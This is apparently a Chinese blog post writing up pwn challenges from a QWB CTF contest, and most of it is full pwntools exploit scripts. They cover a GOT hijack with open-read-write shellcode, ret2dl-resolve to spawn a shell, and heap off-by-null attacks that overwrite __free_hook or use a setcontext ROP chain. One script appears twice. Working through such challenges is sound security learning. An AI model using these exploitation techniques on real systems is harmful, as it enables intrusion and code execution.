tcl,逆向能力薄弱的我被qwb打傻了.赛后复现时,发现好多题思路是对的.卡在了逆向反推上面.但反过来,在赛后看了很多大牛的博客后,也学习到很多知识,想这段时间忙完后单独写几篇来坐坐笔记。
ORW 这道题在创建chunk时,存在有数组越界导致我们可以劫持got表,从而劫持了exit那些函数。再通过整数溢出扩大shell_code写入的范围。同时,由于execve导致我们只能通过orw(open read write)的方法读flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *context(arch = 'amd64' , os = 'linux' ) e=ELF('./pwn2' ) p=remote('39.105.131.68' ,12354 ) def add (num,size,text) : p.sendline('1' ) p.recvuntil('index' ) p.sendline(str(num)) p.recvuntil('size' ) p.sendline(str(size)) p.sendline(text) def free (num) : p.sendline('4' ) p.sendline(str(num)) add(-13 ,0xffffffff +1 ,asm(''' mov rsi, [r13+8]; mov rdx, 0x8; mov rdi, 0x0; mov r10, 0x0; mov rax, 0x0; syscall; mov rsi, [r13+8]; mov rdx, 0x8; mov rdi, 0x1; mov r10, 0x0; mov rax, 0x1; syscall; mov rdi, [r13+8]; mov rdx, 0x0; mov rsi, 0x60; mov r10, 0x0; mov rax, 0x2; syscall; mov rsi, [r13+8]; mov rdx, 0x68; mov rdi, 0x3; mov r10, 0x0; mov rax, 0x0; syscall; mov rsi, [r13+8]; mov rdx, 0x68; mov rdi, 0x1; mov r10, 0x0; mov rax, 0x1; syscall; ''' ))print('x_x' ) print('x_x' ) p.sendline('5' ) print('x_x' ) p.sendline('/flag\x00' ) free(-6 ) p.interactive()
no_output 题目有的阴间,ban了标准输出而且我IDA F5的代码又有问题识别不了libc函数(太菜了)。导致只能慢慢手撕汇编和动态gdb。通过合理覆盖,让 read(3,xx,xx)
变为read(0,xx,xx)
写入‘hello_boy\x00’绕过cmp。
再通过’-0x80000000/-1==0’的特性触发signal,进入栈溢出的read,ret2dl-resolve get shall.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from pwnlib.util.iters import mbruteforcee=ELF('./test' ) p=process('./test' ) p.send('\x00\x00\n' ) sleep(1 ) p.send('w' *(0x30 -16 )+'hello_boy\x00\n' ) p.sendline('x' *0x5 ) p.sendline(str(-0x80000000 )) p.sendline(str(-1 )) rop = ROP('./test' ) dlresolve = Ret2dlresolvePayload(e, symbol="system" , args=["/bin/sh" ]) rop.read(0 , dlresolve.data_addr) rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() print(rop.dump()) print(hex(dlresolve.data_addr)) p.sendline('x' *(0x50 -4 )+raw_rop) sleep(2 ) p.sendline(dlresolve.payload) p.interactive()
baby_diary 典型的高版本all-off-null,不同的是在我们在对面chunk写入信息后,会根据我们的写入,计算一个半字节并放入我们输入信息后.当我们出入全是’\x00’,那个半字节就是’\x0’,若不是’\x00则是非’\x0’的办字节.因此我们在输入时,至少影响一个半的字节.因此我们只能通过爆破法来求解.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 from pwn import *import libcfindelf=ELF('./baby_diary' ) context.arch="amd64" def add (size, content='/bin/sh\x00' ) : sh.recvuntil(">> " ) sh.sendline("1" ) sh.recvuntil("size: " ) sh.sendline(str(size)) sh.recvuntil("content: " ) sh.sendline(content) def show (idx) : sh.recvuntil(">> " ) sh.sendline("2" ) sh.recvuntil("index: " ) sh.sendline(str(idx)) def free (idx) : sh.recvuntil(">> " ) sh.sendline("3" ) sh.recvuntil("index: " ) sh.sendline(str(idx)) def pwn2 () : for i in range(7 ): add(0x30 ) add(0x4ba0 ) add(0x600 ) add(0x20 ) free(8 ) add(0x37 ) add(0x37 ) add(0x37 ) add(0x47 ) for i in range(7 ): free(i) free(11 ) free(10 ) add(0x20 ) add(0x1000 ,'l chunk' ) add(0x440 ,p8(0 )) add(0x1000 ,'l chunk' ) for i in range(7 ): add(0x30 ) add(0x37 ,p64(0 )+p8(0x10 )) add(0x37 ,'5555555' ) free(16 ) free(8 ) add(0x37 ,p64(0x190 )+p64(0x101 )+p8(0x40 )) add(0x37 ,p64(0 )*6 +p8(0 )*6 ) free(4 ) free(5 ) free(6 ) free(10 ) free(11 ) free(13 ) free(14 ) free(16 ) free(8 ) for i in range(7 ): add(0x30 ) add(0x37 ,p8(0x10 )) add(0x37 ,p8(0x10 )) free(12 ) add(0x47 ,p64(0 )*8 +p8(0 )*7 ) free(12 ) add(0x47 ,p64(0 )*7 +p64(0x10 )) for i in range(7 ): add(0x20 ) free(17 ) free(18 ) free(19 ) free(20 ) free(21 ) free(22 ) free(23 ) free(0 ) add(0x1000 ) add(0x57 ,'1' *7 ) free(14 ) add(0x37 ,'11122223' +p32(0x61 )+p8(0 )*4 +p8(1 )*7 ) free(14 ) add(0x37 ,'11122223' +p32(0x61 )+p8(0 )*4 +p8(1 )*6 ) free(14 ) add(0x37 ,'11122223' +p32(0x61 )+p8(0 )*4 +p8(1 )*5 ) free(14 ) add(0x37 ,'11122223' +p32(0x61 )+p8(0 )*4 +p8(1 )*4 ) free(14 ) add(0x37 ,'11122223' +p32(0x61 )+p8(0 )*4 +p8(1 )*3 ) free(14 ) add(0x37 ,'11122223' +p32(0x61 )+p8(0 )*4 +p8(1 )*2 ) free(14 ) add(0x37 ,'11122223' +p32(0x61 )+p8(0 )*4 +p8(1 )*1 ) free(14 ) add(0x37 ,'11122223' +p32(0x61 )+p8(0 )*4 ) free(14 ) add(0x37 ,'11122223' +p32(0x61 )+p8(0 )*3 ) show(17 ) addr=u64(sh.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-391 log.info('main_arena:' +hex(addr)) malloc=addr-0x10 log.info('malloc_hook:' +hex(malloc)) x=libcfind.finder('__malloc_hook' ,malloc+10 ,num=5 ) """ multi libc results: [-] 0: libc6_2.15-0ubuntu10.23_amd64(source from:ubuntu-eglibc) [-] 1: libc6-amd64_2.30-0ubuntu2.2_i386(source from:ubuntu-old-glibc) [-] 2: libc6_2.30-0ubuntu2_amd64(source from:ubuntu-old-glibc) [-] 3: libc6-amd64_2.31-0ubuntu9.2_i386(source from:ubuntu-glibc) [-] 4: libc6_2.31-0ubuntu9_amd64(source from:ubuntu-glibc) [-] 5: local-ad9f264101ca975f82b40fffd5aa6f763cfd1ed9(source from:/usr/lib/x86_64-linux-gnu/libc-2.31.so) [-] 6: libc6-amd64_2.30-0ubuntu2_i386(source from:ubuntu-old-glibc) [-] 7: libc6-amd64_2.31-0ubuntu9_i386(source from:ubuntu-glibc) [-] 8: libc6_2.31-0ubuntu9.2_amd64(source from:ubuntu-glibc) [-] 9: libc6_2.30-0ubuntu2.2_amd64(source from:ubuntu-old-glibc) [!] you can choose it by hand """ add(0x57 ,'22222' ) free(18 ) free(17 ) free(14 ) add(0x37 ,'11122223' +p32(0x61 )+p8(0 )*4 +p64(x.dump('__free_hook' ))) add(0x57 ) add(0x57 ,p64(x.dump('system' ))) free(0 ) if __name__ == "__main__" : while True : sh=process("./baby_diary" ) try : pwn2() gdb.attach(sh) sh.interactive() except Exception, e: print(repr(e)) sh.close()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 import libcfindfrom pwn import *from z3 import *e=ELF('./babypwn' ) p=process('./babypwn' ) context.arch = "amd64" def add (size) : p.recvuntil('>>>' ) p.sendline('1' ) p.recvuntil('size' ) p.sendline(str(size)) def free (num) : p.recvuntil('>>>' ) p.sendline('2' ) p.recvuntil('index:' ) p.sendline(str(num)) def edit (num,text='' ) : p.recvuntil('>>>' ) p.sendline('3' ) p.recvuntil('index:' ) p.sendline(str(num)) p.recvuntil('content:' ) p.sendline(str(text)) def show (num) : p.recvuntil('>>>' ) p.sendline('4' ) p.recvuntil('index:' ) p.sendline(str(num)) def decode (v2) : s=Solver() a1=BitVec('a1' ,32 ) t = a1 for i in range(2 ): a1 ^= (32 * a1) ^ (LShR((a1 ^ (32 * a1)), 17 )) ^ (((32 * a1) ^ a1 ^ (LShR((a1 ^ (32 * a1)), 17 ))) << 13 ) s.add(a1 == int(v2,16 )) s.check() ans = int(s.model()[t].as_long()) print(hex(ans)) return p32(ans) for i in range(7 ): add(0x100 ) add(0xf0 ) add(0x88 ) add(0x100 ) add(0x100 ) for i in range(7 ): free(i) edit(9 ,0xf0 *'1' +p64(0x100 )+p64(0x11 )) free(9 ) edit(8 ,0x88 *'1' ) add(0x80 ) p.recv() show(0 ) p.recvline() x=p.recvline() y=p.recvline() x=decode(x) y=x+decode(y) addr=u64(y) log.info(hex(addr)) main_arena=addr-328 malloc=main_arena-0x10 log,info('malloc:' +hex(malloc)) x=libcfind.finder('__malloc_hook' ,malloc,num=4 ) add(0x40 ) edit(1 ,'yyyyyyy' ) for i in range(8 ): add(0x80 ) free(2 ) free(3 ) free(4 ) free(5 ) free(6 ) free(9 ) free(11 ) free(0 ) free(10 ) for i in range(7 ): add(0x80 ) add(0x80 ) add(0x40 ) add(0x40 ) free(13 ) free(11 ) edit(1 ,p64(x.dump('__free_hook' ))) add(0x48 ) rdi_ret=x.libcbase+0x0000000000025a3b rsi_ret=x.libcbase+0x00000000000263e9 rdx_ret=x.libcbase+0x00000000001018c5 rbp_ret=x.libcbase+0x000000000004a1a7 rax=x.libcbase+0x000000000002606c add(0x48 ) add(0x100 ) show(6 ) p.recvline() xx=p.recvline() y=p.recvline() xx=decode(xx) y=xx+decode(y) addr=u64(y) log.info(hex(addr)) edit(13 ,p64(x.dump('setcontext' )+53 )) pay=p64(rdi_ret)+p64(0 )+p64(rsi_ret)+p64(addr)+p64(rdx_ret)+p64(0x40 )+p64(x.dump('read' )) pay+=p64(rdi_ret)+p64(addr)+p64(rsi_ret)+p64(0 )+p64(rdx_ret)+p64(0 )+p64(x.dump('open' )) pay+=p64(rdi_ret)+p64(3 )+p64(rsi_ret)+p64(addr)+p64(rdx_ret)+p64(0x40 )+p64(x.dump('read' )) pay+=p64(rdi_ret)+p64(1 )+p64(rsi_ret)+p64(addr)+p64(rdx_ret)+p64(0x40 )+p64(x.dump('write' )) print(len(pay)) add(0x200 ) edit(15 ,pay) edit(3 ,'1' *0x10 +p64(addr+0x118 +0x360 )+p64(rdi_ret)+'1' *0x18 +'3' *0x40 +'22222' ) gdb.attach(p) free(4 ) sleep(1 ) p.sendline('/flag.txt\x00' ) p.interactive()
babypwn heap题orw 第一次做,在正式比赛时踩了很多坑。赛后才复现出来
典型的all by one ,缩小free chunk 用法。但在正式比赛时,直接给自己玩坑chunk 在布局时给小了,导致后面orw 写不下,orz….好在通过z3来爆破出show函数的输出值,可以推算出chunk间的关系。不过,在复现时也学到一个知识:就算我们通过hook控制的只能是程序的rip。不能直接控制rbp和rsp。但我们可以通过SROP方法,利用setcontext来间接控制rbp和rsp。(这里有个坑,布置X64的sigcontext至少需0xf8的空间)同时c语言在执行一些函数时,传入参数格式正确但值不符合逻辑的如read(0,0,0)这种,利用chunk内原本的‘\x00’这样可以适当减少自己写入sigcontext 长度,只需要专注控制rbp和rsp。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 import libcfindfrom pwn import *from z3 import *e=ELF('./babypwn' ) p=process('./babypwn' ) context.arch = "amd64" def add (size) : p.recvuntil('>>>' ) p.sendline('1' ) p.recvuntil('size' ) p.sendline(str(size)) def free (num) : p.recvuntil('>>>' ) p.sendline('2' ) p.recvuntil('index:' ) p.sendline(str(num)) def edit (num,text='' ) : p.recvuntil('>>>' ) p.sendline('3' ) p.recvuntil('index:' ) p.sendline(str(num)) p.recvuntil('content:' ) p.sendline(str(text)) def show (num) : p.recvuntil('>>>' ) p.sendline('4' ) p.recvuntil('index:' ) p.sendline(str(num)) def decode (v2) : s=Solver() a1=BitVec('a1' ,32 ) t = a1 for i in range(2 ): a1 ^= (32 * a1) ^ (LShR((a1 ^ (32 * a1)), 17 )) ^ (((32 * a1) ^ a1 ^ (LShR((a1 ^ (32 * a1)), 17 ))) << 13 ) s.add(a1 == int(v2,16 )) s.check() ans = int(s.model()[t].as_long()) print(hex(ans)) return p32(ans) for i in range(7 ): add(0x100 ) add(0xf0 ) add(0x88 ) add(0x100 ) add(0x100 ) for i in range(7 ): free(i) edit(9 ,0xf0 *'1' +p64(0x100 )+p64(0x11 )) free(9 ) edit(8 ,0x88 *'1' ) add(0x80 ) p.recv() show(0 ) p.recvline() x=p.recvline() y=p.recvline() x=decode(x) y=x+decode(y) addr=u64(y) log.info(hex(addr)) main_arena=addr-328 malloc=main_arena-0x10 log,info('malloc:' +hex(malloc)) x=libcfind.finder('__malloc_hook' ,malloc,num=4 ) add(0x40 ) edit(1 ,'yyyyyyy' ) for i in range(8 ): add(0x80 ) free(2 ) free(3 ) free(4 ) free(5 ) free(6 ) free(9 ) free(11 ) free(0 ) free(10 ) for i in range(7 ): add(0x80 ) add(0x80 ) add(0x40 ) add(0x40 ) free(13 ) free(11 ) edit(1 ,p64(x.dump('__free_hook' ))) add(0x48 ) rdi_ret=x.libcbase+0x0000000000025a3b rsi_ret=x.libcbase+0x00000000000263e9 rdx_ret=x.libcbase+0x00000000001018c5 rbp_ret=x.libcbase+0x000000000004a1a7 rax=x.libcbase+0x000000000002606c add(0x48 ) add(0x100 ) show(6 ) p.recvline() xx=p.recvline() y=p.recvline() xx=decode(xx) y=xx+decode(y) addr=u64(y) log.info(hex(addr)) edit(13 ,p64(x.dump('setcontext' )+53 )) pay=p64(rdi_ret)+p64(0 )+p64(rsi_ret)+p64(addr)+p64(rdx_ret)+p64(0x40 )+p64(x.dump('read' )) pay+=p64(rdi_ret)+p64(addr)+p64(rsi_ret)+p64(0 )+p64(rdx_ret)+p64(0 )+p64(x.dump('open' )) pay+=p64(rdi_ret)+p64(3 )+p64(rsi_ret)+p64(addr)+p64(rdx_ret)+p64(0x40 )+p64(x.dump('read' )) pay+=p64(rdi_ret)+p64(1 )+p64(rsi_ret)+p64(addr)+p64(rdx_ret)+p64(0x40 )+p64(x.dump('write' )) print(len(pay)) add(0x200 ) edit(15 ,pay) edit(3 ,'1' *0x10 +p64(addr+0x118 +0x360 )+p64(rdi_ret)+'1' *0x18 +'3' *0x40 +'22222' ) gdb.attach(p) free(4 ) sleep(1 ) p.sendline('/flag.txt\x00' ) p.interactive()